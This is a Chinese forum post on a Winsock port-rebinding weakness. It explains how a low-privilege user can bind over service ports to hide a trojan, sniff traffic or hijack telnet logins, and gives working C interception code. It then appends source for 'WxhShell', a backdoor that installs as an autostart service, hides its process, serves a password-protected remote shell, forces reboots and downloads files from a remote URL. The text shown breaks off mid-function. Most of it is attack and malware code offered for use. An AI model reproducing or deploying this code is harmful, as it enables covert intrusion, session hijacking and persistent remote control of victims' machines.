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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f)`_su U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .<0|V  
|'$E -[  
  saddr.sin_family = AF_INET; v6Vieo=  
J!O{.v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a$0,T_wD  
zX{O"w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SG:Fn8  
PtH>I,/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N03)G2  
:@BAiKa[wa  
  这意味着什么?意味着可以进行如下的攻击: tPv3nh  
dQX<X}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Lmhip  
pKeK6K\8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  -&N^S?  
F1m 1%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $A GW8"  
(v<l9}!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {y5v"GR{YM  
05 P#gs`<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lp!4X1/|\  
Y nD_:ZK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :c4iXK0_^?  
D hN{Y8'~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  F#0y0|  
m2%OX"#e  
  #include ]!@z3Hv3  
  #include  rG#o*oA  
  #include up(6/-/.7  
  #include    9|kc$+(+6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V*xo3hU  
  int main() 0:NCIsIm<  
  { 5k%Gj T  
  WORD wVersionRequested; U/hf?T;  
  DWORD ret; ( (.b&  
  WSADATA wsaData; O!uZykdX4!  
  BOOL val; K fM6(f:  
  SOCKADDR_IN saddr; I},]Y~Y3  
  SOCKADDR_IN scaddr; DrAp&A|WV|  
  int err; T;7=05k<_  
  SOCKET s; .b.p yVk  
  SOCKET sc; )4nf={iM  
  int caddsize; mEL<d,XhI  
  HANDLE mt; .<#oLM^  
  DWORD tid;   yf > rG  
  wVersionRequested = MAKEWORD( 2, 2 ); #6fQ$x(F#j  
  err = WSAStartup( wVersionRequested, &wsaData ); $&fP%p  
  if ( err != 0 ) { A_h|f5  
  printf("error!WSAStartup failed!\n"); ua!i3]18  
  return -1; !p:kEIZ)y  
  } *d~).z)  
  saddr.sin_family = AF_INET; ((& y:{?G  
   caG5S#8-"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p$5uS=:4`8  
wSy|h*a,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .|$:%"O&X  
  saddr.sin_port = htons(23); Fe r&X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O4)'78ATp  
  { }u3Q*oAGl  
  printf("error!socket failed!\n"); ; 9n}P@  
  return -1; Th\w#%'N  
  } @2yoy&IO  
  val = TRUE; Ff eX;pi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D8OW|wVE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yz%AKp  
  { ":qhO0  
  printf("error!setsockopt failed!\n"); %S`ygc}|  
  return -1; hg2a,EU\Z  
  } U z*7J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MNuBZnO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EgE% NY~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I{/}pr>  
3np |\i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n]%T>\gw  
  { 5`_UIYcI  
  ret=GetLastError(); "YC5viX  
  printf("error!bind failed!\n"); 9$ VudE>;  
  return -1; 8;%F-?  
  } 1<9=J`(H  
  listen(s,2); [:hTwBRF  
  while(1) sKg IKYG}T  
  { 4](jV}Hg  
  caddsize = sizeof(scaddr); =&_Y=>rA]0  
  //接受连接请求 }s@ i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \!51I./Q/  
  if(sc!=INVALID_SOCKET) /8cfdP Ba  
  { GbXa=* <-<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l:@`.'-=  
  if(mt==NULL) vtByCu5  
  { &c AFKYt  
  printf("Thread Creat Failed!\n"); u5'jIqlU  
  break; @K=:f  
  } dmB _`R  
  } KUV(vAY,  
  CloseHandle(mt); Wr j<}L|  
  } 5bj9S  
  closesocket(s);  Zra P\?  
  WSACleanup(); )yl;i  
  return 0; ln1QY"g  
  }   ! %~P[;.  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hf$pwfGcY]  
  { 6L/`  
  SOCKET ss = (SOCKET)lpParam; j7XUFA  
  SOCKET sc; Il4R R  
  unsigned char buf[4096]; @cS(Bb!(M  
  SOCKADDR_IN saddr; >;sz(F3)  
  long num; dED&-e#  
  DWORD val; vY"i^a`f  
  DWORD ret; 'NAC4to;;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {Mv$~T|e7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .UGbo.e  
  saddr.sin_family = AF_INET; -f-@[;D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ya*<me>`  
  saddr.sin_port = htons(23); -d*zgP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lZ*V.-D^]  
  { 0en Bq>vr  
  printf("error!socket failed!\n"); _xmS$z)TO  
  return -1; {qJ(55  
  } x:? EL)(  
  val = 100; W2w A66MB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IaHu$` v  
  { NMvNw?]  
  ret = GetLastError(); d#U~>wr  
  return -1; -V F*h.'  
  } z+5%.^Re  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N51e.;  
  { xf7_|l  
  ret = GetLastError(); nB9(y4  
  return -1; FoX,({*Ko~  
  } AxAbU7m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fo"%4rkL  
  { -+HD5Hc  
  printf("error!socket connect failed!\n"); '}, 8x?  
  closesocket(sc); PKg>|]Rf.  
  closesocket(ss); PNp-/1Cx  
  return -1; X(npgkVP\  
  } /J5)_> R:  
  while(1) K/l*Saj  
  { TN=!;SvQU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Zsto8wuf#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6 k6}SlN[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0% zy 6{  
  num = recv(ss,buf,4096,0); #zed8I:w  
  if(num>0) T1U8ZEK<iu  
  send(sc,buf,num,0); F@ld#O  
  else if(num==0) A|`mIma#  
  break; 6 =H]p1p~O  
  num = recv(sc,buf,4096,0); e6i m_ Tk  
  if(num>0) s= bP@[Gj  
  send(ss,buf,num,0); o:c:hSV  
  else if(num==0) MC~<jJ,  
  break; \"| 7o8  
  } ~vscATQ  
  closesocket(ss); {%BPP{OFk  
  closesocket(sc); 3Hi[Y[O`%P  
  return 0 ; oIv\Xdc81  
  } |@Ze{\  
z5 g4+y,  
] L6LB \  
========================================================== nc9sfH3  
~N]pB]/][  
下边附上一个代码,,WXhSHELL 9#:B_?e=  
5_+pgJL  
========================================================== L(q~%  
Ve[[J"ze  
#include "stdafx.h" 43s8a  
)ZMR4U$+v  
#include <stdio.h> 9CFh'>}$  
#include <string.h> ZkqZO#nq C  
#include <windows.h> Zv5vYe9Ow  
#include <winsock2.h> giH WC%/  
#include <winsvc.h> zrL+:/t  
#include <urlmon.h> `&jG8lHa  
U.pGp]\Q)G  
#pragma comment (lib, "Ws2_32.lib") V|vXxWm/  
#pragma comment (lib, "urlmon.lib") 'j$n;3  
V)Ze> Pp  
#define MAX_USER   100 // 最大客户端连接数 X!|K 4Z!k  
#define BUF_SOCK   200 // sock buffer b#W(&b^q  
#define KEY_BUFF   255 // 输入 buffer zI$'D|A  
YZZog6%  
#define REBOOT     0   // 重启 /wPW2<|"X.  
#define SHUTDOWN   1   // 关机 eZ|_wB'r  
lQqP4-E?  
#define DEF_PORT   5000 // 监听端口 c+ukVn`r  
Y(;u)uN_  
#define REG_LEN     16   // 注册表键长度 E[Bj+mX9  
#define SVC_LEN     80   // NT服务名长度 $Ned1@%[  
c@x6<S%*  
// 从dll定义API 4Cp)!Bq?/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M&}_3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g v7@4G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "]}?{2i;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CE7{>pl  
3XIL; 5  
// wxhshell配置信息 `4-m$ab  
struct WSCFG { .\7AJB\l  
  int ws_port;         // 监听端口 '3iJq9  
  char ws_passstr[REG_LEN]; // 口令 2. f8uq  
  int ws_autoins;       // 安装标记, 1=yes 0=no cuh Z_l  
  char ws_regname[REG_LEN]; // 注册表键名 }oL l? L  
  char ws_svcname[REG_LEN]; // 服务名 VK% j45D`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A-l[f\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4"s/T0C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ke2}@|?t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qoSZ+ khS$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FVWHiwRU,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d 0 mfqP=  
gTk*v0WBm  
}; v,jB(B^|Z  
Ao, <G.>R  
// default Wxhshell configuration #F#M<d3-2  
struct WSCFG wscfg={DEF_PORT, i> dLp  
    "xuhuanlingzhe", 3/Dis) v8  
    1, KvumU>c#A  
    "Wxhshell", N=j$~,yG  
    "Wxhshell", o('6,D  
            "WxhShell Service", H`nd |  
    "Wrsky Windows CmdShell Service", *})Np0k  
    "Please Input Your Password: ", >"[Nmx0;w  
  1, d Z x  
  "http://www.wrsky.com/wxhshell.exe", ->'xjD  
  "Wxhshell.exe" '[p0+5*x  
    }; \t]_UNGyW  
x$) E^|A+  
// 消息定义模块 +&[X7r<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z@i,9 a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LY2QKjgP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [6CWgQ%Ue  
char *msg_ws_ext="\n\rExit."; CcZM0  
char *msg_ws_end="\n\rQuit."; @c=bH>Oz  
char *msg_ws_boot="\n\rReboot..."; w" Y'I$  
char *msg_ws_poff="\n\rShutdown..."; `V{'GF&[  
char *msg_ws_down="\n\rSave to "; /%AA\`: 6  
?~X^YxWsY  
char *msg_ws_err="\n\rErr!"; f@ .s(i=z  
char *msg_ws_ok="\n\rOK!"; =D Tbz3<  
&%4A3.qE  
char ExeFile[MAX_PATH]; p/gf  
int nUser = 0; &R3#? 1,  
HANDLE handles[MAX_USER]; IZ@M K  
int OsIsNt; w|:ev_c|  
#kp +e)F  
SERVICE_STATUS       serviceStatus; o`.5NUn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %$F_oO7"  
Bp/25jy  
// 函数声明  #zg"E<  
int Install(void); (H-kWT  
int Uninstall(void); S"%W^)mZ  
int DownloadFile(char *sURL, SOCKET wsh); 3-gy)5.x e  
int Boot(int flag); SHQgI<D7  
void HideProc(void); z q@"qnr  
int GetOsVer(void); *l)}o4-$  
int Wxhshell(SOCKET wsl); GriFb]ml"  
void TalkWithClient(void *cs); %JuT'7VB  
int CmdShell(SOCKET sock); ~8EzK_c  
int StartFromService(void); o)M<^b3KO  
int StartWxhshell(LPSTR lpCmdLine); Wb;D9Z  
Nuaq{cl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V82hk0*j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (/C 8\}Ox  
s'$3bLcb  
// 数据结构和表定义  k<  
SERVICE_TABLE_ENTRY DispatchTable[] = ' BY|7j~  
{ Q+dLWFI  
{wscfg.ws_svcname, NTServiceMain}, AdWP  
{NULL, NULL} Is>~P*2Y=  
}; qcoTt~\  
;rC< C  
// 自我安装 $ spk.j  
int Install(void) Wux[h8G  
{ _CG ED{b@  
  char svExeFile[MAX_PATH]; C /w]B[H  
  HKEY key; c"pu"t@/Z  
  strcpy(svExeFile,ExeFile); gb/<(I )  
_*n 4W^8  
// 如果是win9x系统,修改注册表设为自启动 cQq78Lo  
if(!OsIsNt) { #NWS)^&1b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qsdgG1<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HAAU2A9B2  
  RegCloseKey(key); Wo~;h (6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g1&q6wCg|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %(>,eee_  
  RegCloseKey(key); z)%]# QO  
  return 0; pQk@ +r  
    } "ed A  
  } '1b4nj|<m  
} $t.M `:G  
else { Zo@  
N]&:xd5  
// 如果是NT以上系统,安装为系统服务 98lz2d/Fcq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "f>`ZFp^  
if (schSCManager!=0) N ZZc[P  
{ !mK}Rim~  
  SC_HANDLE schService = CreateService y0,>_MS  
  ( Z |<  
  schSCManager, sZ#U{LI  
  wscfg.ws_svcname, Dq`$3ZeA  
  wscfg.ws_svcdisp, !CR#Fyt+9  
  SERVICE_ALL_ACCESS, d*l2x[8}g-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %wN*Hu~E  
  SERVICE_AUTO_START, 5-POY ug  
  SERVICE_ERROR_NORMAL, C'a#.LM  
  svExeFile, I[bWd{i:  
  NULL, af|x(:!H  
  NULL, zG\:#,9  
  NULL, D/puK  
  NULL, ,&s%^I+CC  
  NULL -(9TM*)O  
  ); a6 w'.]m  
  if (schService!=0) 9z7rv,  
  { HrHtA]  
  CloseServiceHandle(schService); |};-.}u^`h  
  CloseServiceHandle(schSCManager); &[_D'jm+S0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U|+ c&TY  
  strcat(svExeFile,wscfg.ws_svcname); 64t:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oq2-)F2/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "]U_o<V  
  RegCloseKey(key); 8j}o\!H  
  return 0; 4c@_u8  
    } VCa`|S?2  
  } YD] :3!MI  
  CloseServiceHandle(schSCManager); ?%Gzd(YEY  
} uIR/^o  
} \  `|  
6`Diz_(  
return 1; d?)Ic1][  
} ;!)gjiapw  
G|qsJ  
// 自我卸载 KU;J2Kt  
int Uninstall(void) [H {2<!  
{ \Yr&vX/[p  
  HKEY key; TsY nsLQY  
YB3 76/  
if(!OsIsNt) { LKYcE;n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L@`:mK+;  
  RegDeleteValue(key,wscfg.ws_regname); z4JhLef%  
  RegCloseKey(key); qEfg-`*M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {}"a_L&[;  
  RegDeleteValue(key,wscfg.ws_regname); 7AQv4  
  RegCloseKey(key); [E9)Da_)i  
  return 0; t(xe*xS  
  } (1)b> 6  
} .7> g8  
} \ \gAa-}:  
else { ~9c jc  
Q; BD|95nl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7$Lt5rn"}  
if (schSCManager!=0) #2;8/"v  
{ &90pKs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E=t^I/f)E  
  if (schService!=0) p/KG{-f,  
  { ]*<!|;q  
  if(DeleteService(schService)!=0) { ! l"*DR  
  CloseServiceHandle(schService); %FLe@.Ep{D  
  CloseServiceHandle(schSCManager); ()zn8_z  
  return 0; duoM >B>8]  
  } B !Z~jT  
  CloseServiceHandle(schService); Pa"[&{:  
  } -gpHg  
  CloseServiceHandle(schSCManager); R*VEeLx  
} `h<>_zpjY  
} ^_k`@SU  
1l\. >H\E  
return 1; 0iVeM!bM  
} M>u84|`  
g&X X@I8+v  
// 从指定url下载文件 Su*Pd;  
int DownloadFile(char *sURL, SOCKET wsh) 8r48+_y3u  
{  !qTP  
  HRESULT hr; !}=#h8fv  
char seps[]= "/"; bDnT><eH  
char *token; \:E=B1  
char *file; ,$"T/yYer  
char myURL[MAX_PATH]; U[NQ"  
char myFILE[MAX_PATH]; >[4CQK`U  
p)s *Cw  
strcpy(myURL,sURL); B0,C!??5  
  token=strtok(myURL,seps); r_pZK(G%  
  while(token!=NULL) 2E@g#:3  
  { o^+g2;Ro  
    file=token; +4V"&S|&  
  token=strtok(NULL,seps); M^0^l9w  
  } AhQsv.t   
_p0G8  
GetCurrentDirectory(MAX_PATH,myFILE); ,9~qLQ0O  
strcat(myFILE, "\\"); !~te&ccPE  
strcat(myFILE, file); ||'A9  
  send(wsh,myFILE,strlen(myFILE),0); eV(   
send(wsh,"...",3,0); 1j+RXb\<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U^&y*gX1  
  if(hr==S_OK) sH :_sOV*  
return 0; )uy2,`z  
else AIt;~x  
return 1; w %R=kY)o  
b21@iW  
} iV.j!H7o  
'J_6SD  
// 系统电源模块 :F pt>g  
int Boot(int flag) ah15 ,<j  
{ +]0/:\(B  
  HANDLE hToken; FTcXjWBPF9  
  TOKEN_PRIVILEGES tkp; htOVt\+!34  
k<k@Tlo  
  if(OsIsNt) { imZ"4HnPP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }/aqh;W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kk6i  
    tkp.PrivilegeCount = 1; uex([;y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .CEl{fofj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k .W1bF9n6  
if(flag==REBOOT) { !^qpV7./l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HA3d9`  
  return 0; ~jMfm~  
} E/3<8cV  
else { u*8x.UE8C0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /`b`ai8`8  
  return 0; m-HBoN  
} 7X/KQ97  
  } 8P*wt'Q$  
  else { TH? wXd\  
if(flag==REBOOT) { C*Wyw]:r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z{A~d  
  return 0; @K}Bll.E  
} '%KaAi$  
else { 9&'HhJm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {hBnEj^@  
  return 0; mC./,a[  
} 4/ Xu,pT  
} `0Xs!f  
=4LyE6  
return 1; [*^ rH:  
} ]3CWb>!_  
YI+o:fGC5  
// win9x进程隐藏模块 J6g:.jsK!  
void HideProc(void) \OK"r-IO  
{ DcmRvi)&6  
)X 'ln  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <E\vc6n  
  if ( hKernel != NULL ) yrFl,/8&G  
  { !_+ok$"d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &6\f;T4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?5rM'O2  
    FreeLibrary(hKernel); TQ25"bWi  
  } 0EBHR Y_F  
;BW9SqlN  
return; xv 0y?#`z  
} P7 R}oO_n:  
Q=F^Y f  
// 获取操作系统版本 iB3C.wd-  
int GetOsVer(void) 6(V"xjK  
{ /gq\.+'{  
  OSVERSIONINFO winfo; </23*n]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yIqRSqM  
  GetVersionEx(&winfo); yI.hN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nuc2CB)J  
  return 1; mjJ/rx{kbw  
  else \x=!'  
  return 0; V(3rTDg  
} #hh7fE'9  
 @zSj&4  
// 客户端句柄模块 (?kCo  
int Wxhshell(SOCKET wsl) Hw%lT}[O  
{ ZBXn&Gm  
  SOCKET wsh; 0oo*F  
  struct sockaddr_in client; s+&iH  
  DWORD myID; vze|*dKS  
zd?uMq;w  
  while(nUser<MAX_USER) )KcY<K  
{ LqoH]AcN  
  int nSize=sizeof(client); nVGWJ3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); # &Z1d(!  
  if(wsh==INVALID_SOCKET) return 1; JwcC9 O  
RgLkAHA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t[X,m]SX  
if(handles[nUser]==0) Sbjc8V ut  
  closesocket(wsh); PAs.T4Av^  
else ZG1 {"J/z  
  nUser++; 2GJp`2(%dA  
  } Ls{]ohP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y.?Q  
\\$wg   
  return 0; K"g`,G6S  
} JVh/<A  
!=(M P:  
// 关闭 socket . /~#  
void CloseIt(SOCKET wsh) e\ O&Xe  
{ js)I%Z  
closesocket(wsh); Zie t-@}  
nUser--; iK9#{1BpML  
ExitThread(0); y+P$}Nru  
} Z~HLa  
B}npom\tC  
// 客户端请求句柄 -k}&{v  
void TalkWithClient(void *cs) -SKcS#IF  
{ 4L)Ox;6>  
vff`Xh>k(  
  SOCKET wsh=(SOCKET)cs; -ZBSkyMGy  
  char pwd[SVC_LEN]; WZ^u%Z  
  char cmd[KEY_BUFF]; +3k#M[Bn}  
char chr[1];  f%c-  
int i,j; "Sd2VSLg  
@rxfOc0J#  
  while (nUser < MAX_USER) { r9$7P?zm  
1zc-$B`t  
if(wscfg.ws_passstr) { .:2=VLujU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JbW!V Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~A-VgBbU>_  
  //ZeroMemory(pwd,KEY_BUFF); lZ5TDS  
      i=0; Fn*)!,)  
  while(i<SVC_LEN) { PZSi}j/  
5vjtF4}7!  
  // 设置超时 xZp`Ke!  
  fd_set FdRead; 7G9o%!D5  
  struct timeval TimeOut; o]m56  
  FD_ZERO(&FdRead); BV6 U -  
  FD_SET(wsh,&FdRead); LKI2R_|n  
  TimeOut.tv_sec=8; E/uKzzD9  
  TimeOut.tv_usec=0; aXyg`CDv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5'"l0EuD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L_ 2R3 w  
~VaO,8&+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J7s\  
  pwd=chr[0]; c9axzg UA  
  if(chr[0]==0xd || chr[0]==0xa) { n]J;BW& Av  
  pwd=0; 7wwlZ;w  
  break; K 6HH_T  
  } =Btmi  
  i++; c`4i#R  
    } \>(S?)6  
\C;F5AO  
  // 如果是非法用户,关闭 socket -'Y@yIb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e*jfxQ=qG  
} ^%2S,3*0  
L+ d4&x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y<9Lqc.i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4z^5|$?_ta  
qlIbnyP<  
while(1) { GXx/pBdy[4  
- ]Mp<Y  
  ZeroMemory(cmd,KEY_BUFF); IL N0/eH  
7P7d[KP<  
      // 自动支持客户端 telnet标准   %eLf6|1x  
  j=0; ro*$OLc/  
  while(j<KEY_BUFF) { O7GJg;>?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hp?uYih0  
  cmd[j]=chr[0]; !L\P.FP7b  
  if(chr[0]==0xa || chr[0]==0xd) { QX&1BKqWn  
  cmd[j]=0; pG9qD2C f  
  break; O^yD b  
  } 0xe*\CAo  
  j++; E HY}gG)  
    } @8s:,Y_  
QR]61v:`  
  // 下载文件 @F%_{6h  
  if(strstr(cmd,"http://")) { !BikqTM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b<?A  
  if(DownloadFile(cmd,wsh)) }_"<2|~_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l Vc':,z  
  else 0R[onPU_vZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )k'4]=d <  
  } IL2OVLX  
  else { J|GEt@o3  
NgPY/R>  
    switch(cmd[0]) { 1>e%(k2w%  
  UO{3v ry48  
  // 帮助 64h$sC0z/e  
  case '?': { }iCcXZ&5^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A*_ |/o  
    break; )+xHv  
  } lH8e?zJ  
  // 安装 8{ iFxTz  
  case 'i': { vynchZ+g]  
    if(Install()) qz2j55j   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }m0hq+p^  
    else xh raf1v3\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L1lGlt  
    break; L:3  
    } KOM]7%ys1H  
  // 卸载 p swEIa  
  case 'r': { n.\|NR'v  
    if(Uninstall()) %~A$cc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]I+>Zn| 7  
    else ??tNMr5{[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); voAen&>!  
    break; s@c.nT%BYL  
    } ); <Le6  
  // 显示 wxhshell 所在路径 fPLi8`r  
  case 'p': { T nG=X:+=  
    char svExeFile[MAX_PATH]; KeiPo KhZi  
    strcpy(svExeFile,"\n\r"); :VEy\ R>W  
      strcat(svExeFile,ExeFile); ]&l%L4Z  
        send(wsh,svExeFile,strlen(svExeFile),0); `zZGL&9m`  
    break; y~AF|Dk=  
    } 'E#;`}&Ah  
  // 重启 wX!>&Gc.  
  case 'b': { V0!.>sX9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A(<"oAe|  
    if(Boot(REBOOT)) AJ`R2 $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UAi]hUq  
    else { 540,A,>:tb  
    closesocket(wsh); | N/Wu9w$  
    ExitThread(0); hd E?%A  
    } gQ@fe3[  
    break; [hT|]|fJS;  
    } o/Cu^[an  
  // 关机 kbF+aS  
  case 'd': { NDv_@V(D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )Ap0" ?q  
    if(Boot(SHUTDOWN)) sF=8E8qa   
